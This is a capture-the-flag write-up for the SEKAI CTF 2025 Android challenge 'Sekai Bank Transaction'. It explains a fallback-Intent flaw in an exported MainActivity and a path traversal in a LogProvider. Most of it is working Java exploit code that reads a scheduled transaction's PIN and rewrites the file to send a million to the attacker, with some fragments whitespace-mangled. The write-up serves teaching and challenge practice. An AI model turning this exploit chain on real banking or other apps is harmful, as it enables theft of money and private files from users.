This document provides a detailed walkthrough of the vulnerability found in the SekaiBank Android application and how we exploited it to steal one million from the admin user.
Vulnerability Analysis
MainActivity Fallback Intent Vulnerability
The primary vulnerability in the SekaiBank application is in the MainActivity.onCreate() method. The application has a try-catch block that, upon exception, retrieves a ParcelableExtra named “fallback” from the Intent and calls startActivity() on it:
The MainActivity is exported (as shown in the AndroidManifest.xml)
It allows an attacker to execute arbitrary Intents within the victim app’s context
The exception can be easily triggered by providing malformed extras
Path Traversal in LogProvider
The second vulnerability is in the LogProvider class. While the provider itself is not exported (android:exported="false"), it does grant URI permissions (android:grantUriPermissions="true"). This means that if we can execute code within the victim’s context (which we can via the MainActivity fallback), we can access this provider.
The LogProvider.query() method is vulnerable to path traversal:
The key vulnerability is that when transactions are processed, they use the currently authenticated user’s token - which in the CTF scenario is the admin’s token:
// This is what the victim will start (our sink) with URI grants Intentfallback=newIntent(this, SinkActivity.class); fallback.setData(target); fallback.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION); fallback.setClipData(ClipData.newRawUri("sekai", target));
// Kick victim MainActivity; force try{} path and crash in setupMainUI() Intentkick=newIntent(); kick.setClassName(VICTIM_PKG, VICTIM_ENTRY);
Once our SinkActivity is launched by the victim app, we have access to the LogProvider with the permissions we granted. We use path traversal to access the delayed_transactions directory:
1 2 3 4 5
Uriu= getIntent().getData(); // This is the URI from our fallback Intent // URI is something like: content://com.sekai.bank.logprovider/%2e%2e/files/delayed_transactions/
// List files in the directory Cursorcursor= getContentResolver().query(u, null, null, null, null);
Step 3: Extract Transaction Data
We extract the first transaction file from the directory and read its contents:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
// Get the first file cursor.moveToFirst(); if (nameIndex >= 0) { firstFilename = cursor.getString(nameIndex); }
// Read the file content UrifileUri= Uri.parse(u + "/" + firstFilename); InputStreamis= getContentResolver().openInputStream(fileUri); byte[] data = readAll(is); StringfileContent=newString(data);
// Extract id and pin from JSON JSONObjectjson=newJSONObject(fileContent); originalId = json.optString("id", "unknown-id"); originalPin = json.optString("pin", "000000");
Step 4: Inject Malicious Transaction
Finally, we create a malicious transaction with the extracted PIN (to pass authentication) and write it back to the file:
// Write the modified payload to the file OutputStreamos= getContentResolver().openOutputStream(fileUri); os.write(modifiedPayload.getBytes()); os.flush(); os.close();
The transaction will be processed automatically by the victim app, using the admin’s token, and the money will be sent to our account.
/** * Launcher: * - Forces victim MainActivity into try{} and throws (ClassCastException) * - Supplies fallback Intent to our SinkActivity * - Embeds a content:// URI for LogProvider with READ/WRITE/PREFIX grants */ publicclassKickActivityextendsActivity {
// This is what the victim will start (our sink) with URI grants Intentfallback=newIntent(this, SinkActivity.class); fallback.setData(target); fallback.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION); fallback.setClipData(ClipData.newRawUri("sekai", target));
// Kick victim MainActivity; force try{} path and crash in setupMainUI() Intentkick=newIntent(); kick.setClassName(VICTIM_PKG, VICTIM_ENTRY);
/** * Started by the victim via fallback. Receives a granted content:// URI. * - If URI is a directory → lists via query() * - Extracts first file from the directory * - Reads the file content and extracts pin and id * - Writes a modified payload with the same pin and id */ publicclassSinkActivityextendsActivity { privatestaticfinalStringTAG="SEKAI-POC";
// 1) LIST (works if URI points to a directory for this provider) StringfirstFilename=null; Cursorcursor=null; try { cursor = getContentResolver().query(u, null, null, null, null); if (cursor != null && cursor.getCount() > 0) { intnameIndex= cursor.getColumnIndex("name"); intsizeIndex= cursor.getColumnIndex("size"); intpathIndex= cursor.getColumnIndex("path"); out.append("LISTING:\n"); // Get the first file cursor.moveToFirst(); if (nameIndex >= 0) { firstFilename = cursor.getString(nameIndex); Stringsize= (sizeIndex >= 0) ? cursor.getString(sizeIndex) : "unknown"; Stringpath= (pathIndex >= 0) ? cursor.getString(pathIndex) : "unknown"; Log.i(TAG, "First file: " + firstFilename + " (size: " + size + ", path: " + path + ")"); out.append("First file: " + firstFilename + " (size: " + size + ", path: " + path + ")\n\n"); } // List all files for debugging cursor.moveToPosition(-1); // Reset cursor position while (cursor.moveToNext()) { Stringname= (nameIndex >= 0) ? cursor.getString(nameIndex) : "<no-name>"; Stringsize= (sizeIndex >= 0) ? cursor.getString(sizeIndex) : "<no-size>"; Stringpath= (pathIndex >= 0) ? cursor.getString(pathIndex) : "<no-path>"; out.append(" - ").append(name).append(" (").append(size).append(") : ").append(path).append("\n"); } out.append("\n"); } else { out.append("LISTING: No files found or null cursor\n\n"); Log.e(TAG, "No files found or null cursor"); } } catch (Throwable t) { Log.e(TAG, "Query failed", t); out.append("LISTING failed: ").append(t).append("\n\n"); }
// Check if we found a file if (firstFilename == null) { Log.e(TAG, "No files found in the directory"); out.append("ERROR: No files found in the directory\n\n"); if (cursor != null) { cursor.close(); } tv.setText(out.toString()); return; }
// 2) READ the specific file StringoriginalId=null; StringoriginalPin=null; try { // Construct URI to the specific file UrifileUri= Uri.parse(u + "/" + firstFilename); Log.i(TAG, "Trying to read file: " + fileUri); out.append("Trying to read file: " + fileUri + "\n\n"); InputStreamis= getContentResolver().openInputStream(fileUri); if (is != null) { byte[] data = readAll(is); is.close(); StringfileContent=newString(data); Log.i(TAG, "READ OK: File content:\n" + fileContent); out.append("READ OK: Original file content:\n" + fileContent + "\n\n"); // Extract id and pin from JSON try { JSONObjectjson=newJSONObject(fileContent); originalId = json.optString("id", "unknown-id"); originalPin = json.optString("pin", "000000"); Log.i(TAG, "Extracted ID: " + originalId + ", PIN: " + originalPin); out.append("Extracted ID: " + originalId + ", PIN: " + originalPin + "\n\n"); } catch (JSONException je) { Log.e(TAG, "Failed to parse JSON", je); out.append("Failed to parse JSON: " + je.getMessage() + "\n\n"); originalId = "exploit-" + System.currentTimeMillis(); originalPin = "000000"; // Fallback } // 3) WRITE modified content to the same file try { // Create our payload with the extracted ID and PIN SimpleDateFormatsdf=newSimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSS'Z'"); Stringnow= sdf.format(newDate()); StringpastTime= sdf.format(newDate(System.currentTimeMillis() - 86400000)); // 1 day ago StringmodifiedPayload="{\n" + " \"id\": \"" + originalId + "\",\n" + " \"toUsername\": \"none\",\n" + " \"amount\": 1000000,\n" + " \"message\": \"flag please\",\n" + " \"pin\": \"" + originalPin + "\",\n" + " \"createdAt\": \"" + now + "\",\n" + " \"scheduledTime\": \"" + pastTime + "\",\n" + " \"type\": \"USER_SCHEDULED\"\n" + "}"; Log.i(TAG, "Created modified payload:\n" + modifiedPayload); out.append("Created modified payload:\n" + modifiedPayload + "\n\n"); // Write the modified payload to the file OutputStreamos= getContentResolver().openOutputStream(fileUri); if (os != null) { os.write(modifiedPayload.getBytes()); os.flush(); os.close(); Log.i(TAG, "WRITE OK: Successfully wrote modified payload to " + firstFilename); out.append("WRITE OK: Successfully wrote modified payload to " + firstFilename + "\n\n"); // Verify the write by reading again try { InputStreamverifyIs= getContentResolver().openInputStream(fileUri); if (verifyIs != null) { byte[] verifyData = readAll(verifyIs); verifyIs.close(); StringverifyContent=newString(verifyData); Log.i(TAG, "VERIFY OK: File content after write:\n" + verifyContent); out.append("VERIFY OK: File content after write:\n" + verifyContent + "\n\n"); } } catch (Exception ve) { Log.e(TAG, "Failed to verify write", ve); out.append("Failed to verify write: " + ve.getMessage() + "\n\n"); } } else { Log.e(TAG, "Failed to open output stream for " + fileUri); out.append("Failed to open output stream for " + fileUri + "\n\n"); } } catch (Exception we) { Log.e(TAG, "Failed to write modified payload", we); out.append("Failed to write modified payload: " + we.getMessage() + "\n\n"); } } else { Log.e(TAG, "Failed to open input stream for " + fileUri); out.append("Failed to open input stream for " + fileUri + "\n\n"); } } catch (Exception e) { Log.e(TAG, "Error in read/write process", e); out.append("Error in read/write process: " + e.getMessage() + "\n\n"); } finally { if (cursor != null) { cursor.close(); } }
This exploit chain demonstrates several common Android security vulnerabilities:
Intent-based IPC vulnerabilities: The MainActivity fallback vulnerability allows arbitrary Intent execution within the victim’s context.
Path traversal: The LogProvider is vulnerable to path traversal, allowing access to files outside its intended scope.
Insecure file operations: The delayed transaction system doesn’t properly validate the integrity of transaction files before processing them.
The combination of these vulnerabilities allows us to execute a complete exploit chain that:
Gains execution within the victim’s context
Accesses sensitive files
Modifies those files to steal money
Leverages the victim’s authentication to process the transaction
This exploit is particularly dangerous because it requires no user interaction beyond installing and running our malicious app, and it can steal money from any user who has the vulnerable SekaiBank app installed.
Title: SEKAI CTF 2025: Sekai Bank Transaction
Author: lbyte.id
Created at : 2025-08-18 00:00:00
Updated at : 2025-08-20 02:26:52
Link: https://lbyte.id/2025/08/18/writeup/SEKAI CTF 2025 Sekai Bank Transaction/